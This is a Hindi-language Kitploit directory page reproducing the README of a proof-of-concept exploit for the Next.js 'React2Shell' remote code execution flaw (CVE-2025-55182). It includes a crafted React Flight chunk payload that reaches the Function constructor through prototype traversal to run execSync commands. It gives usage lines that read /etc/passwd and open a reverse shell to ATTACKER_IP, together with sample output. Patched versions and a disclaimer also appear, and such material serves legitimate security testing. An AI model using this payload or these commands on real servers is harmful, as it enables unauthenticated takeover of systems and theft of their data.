Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
nextjs-CVE-2025-55182 — Next.js के सर्वर एक्शन्स में React Flight Protocol डिसीरियलाइज़ेशन के माध्यम से गंभीर अप्रमाणित RCE के लिए साक्ष्य-अवधारणा शोषण, जो कमजोर सर्वरों पर मनमाना कमांड निष्पादन सक्षम बनाता है। | Kitploit
उपकरण/GitHubGitHub/d0cnull/nextjs-cve-2025-55182
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHubd0cnull/nextjs-cve-2025-55182

nextjs-CVE-2025-55182

Next.js के सर्वर एक्शन्स में React Flight Protocol डिसीरियलाइज़ेशन के माध्यम से गंभीर अप्रमाणित RCE के लिए साक्ष्य-अवधारणा शोषण, जो कमजोर सर्वरों पर मनमाना कमांड निष्पादन सक्षम बनाता है।

1610 महीने पहलेअभी तक समीक्षित नहीं
रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-55182 / CVE-2025-66478 (React2Shell) - Next.js Remote Code Execution (RCE) Proof of Concept

Next.js सर्वर एक्शन में गंभीर भेद्यता जो React Flight प्रोटोकॉल डीसीरियलाइज़ेशन के माध्यम से बिना प्रमाणीकरण के दूरस्थ कोड निष्पादन की अनुमति देती है

अवलोकन

इस रिपॉजिटरी में Next.js एप्लिकेशन के लिए एक Proof of Concept (PoC) शामिल है जो सर्वर एक्शन (React सर्वर फंक्शन) का उपयोग करने वाले महत्वपूर्ण RCE भेद्यता को प्रदर्शित करता है।

विवरणजानकारी
CVECVE-2025-55182 / CVE-2025-66478
गंभीरतागंभीर (CVSS 10.0)
React प्रभावितReact 19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js प्रभावितNext.js 15.x, 16.x, 14.3.0-canary.77+
प्रभावित नहींNext.js 14.x स्थिर, 13.x, Pages Router, Edge Runtime
Next.js फिक्स15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
React फिक्स19.0.1, 19.1.2, 19.2.1
प्रकारदूरस्थ कोड निष्पादन (RCE)
प्रमाणीकरण आवश्यककोई नहीं

भेद्यता विवरण

यह भेद्यता इस बात में मौजूद है कि सर्वर एक्शन प्रसंस्करण के दौरान React Flight प्रोटोकॉल चंक को कैसे डीसीरियलाइज़ करता है। एक हमलावर निम्नलिखित के माध्यम से प्रोटोटाइप प्रदूषण का शोषण कर सकता है:

  1. प्रोटोटाइप श्रृंखला ट्रैवर्सल (__proto__) के माध्यम से Function कंस्ट्रक्टर तक पहुँच प्राप्त करना
  2. सर्वर पर मनमाना JavaScript कोड निष्पादित करना
  3. बिना प्रमाणीकरण के पूर्ण दूरस्थ कोड निष्पादन प्राप्त करना

यह सर्वर एक्शन के किसी भी सत्यापन से पहले होता है, जिससे यह सर्वर एक्शन सक्षम वाले किसी भी Next.js ऐप पर शोषणीय हो जाता है।

प्रभावित एप्लिकेशन

कोई भी Next.js एप्लिकेशन असुरक्षित है यदि:

  • सर्वर एक्शन का उपयोग करता है (App Router में डिफ़ॉल्ट)
  • Next.js 15.x या 16.x (या 14.3.0-canary.77+) चला रहा है
  • कोई विशिष्ट शमन उपाय मौजूद नहीं हैं

उपयोग

आवश्यकताएँ

pip install requests

PoC चलाएँ

python3 poc.py <TARGET_URL> "<COMMAND>"

उदाहरण

# कमांड निष्पादन का परीक्षण
python3 poc.py http://localhost:3000 "id"

# संवेदनशील फ़ाइलें पढ़ें
python3 poc.py http://localhost:3000 "cat /etc/passwd"

# रिवर्स शेल (केवल अधिकृत परीक्षण के लिए)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

नमूना आउटपुट

$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}

कमांड का आउटपुट digest फ़ील्ड में दिखाई देता है।

तकनीकी विवरण

यह शोषण React Flight प्रोटोकॉल के चंक रिज़ॉल्यूशन तंत्र का लाभ उठाता है:

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

हमला श्रृंखला:

  1. $1:__proto__:then के माध्यम से प्रोटोटाइप ट्रैवर्सल
  2. $1:constructor:constructor के माध्यम से Function कंस्ट्रक्टर तक पहुँच
  3. _prefix फ़ील्ड के माध्यम से मनमाना कोड इंजेक्ट करना
  4. डीसीरियलाइज़ेशन के दौरान कोड निष्पादित होता है (प्रमाणीकरण-पूर्व)

शमन

तुरंत अपग्रेड करें:

npm install next@latest
# या
pnpm update next

पैच किए गए संस्करण: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

नोट: Next.js 14.x स्थिर और 13.x असुरक्षित नहीं हैं।

अस्वीकरण

⚠️ यह PoC केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है।

कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। इस उपकरण का उपयोग केवल उन प्रणालियों पर करें जिनके आप स्वामी हैं या जिनके परीक्षण की स्पष्ट अनुमति है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं।

क्रेडिट

मूल शोध @msanft द्वारा किया गया। भेद्यता की खोज और प्रारंभिक PoC का पूरा श्रेय उन्हें जाता है।

संदर्भ

  • मूल CVE-2025-55182 शोध
  • Next.js आधिकारिक CVE सलाहकार
  • Wiz Research - React2Shell विश्लेषण
  • React Flight प्रोटोकॉल
  • NIST NVD - CVE-2025-55182

कीवर्ड

Next.js RCE, Next.js भेद्यता, CVE-2025-55182, CVE-2025-66478, React2Shell, React सर्वर घटक शोषण, Next.js सर्वर एक्शन RCE, प्रोटोटाइप प्रदूषण Next.js, React Flight प्रोटोकॉल भेद्यता, Next.js सुरक्षा, Next.js दूरस्थ कोड निष्पादन, Next.js शोषण PoC, सर्वर एक्शन भेद्यता, React RSC RCE

टूल डाउनलोड करें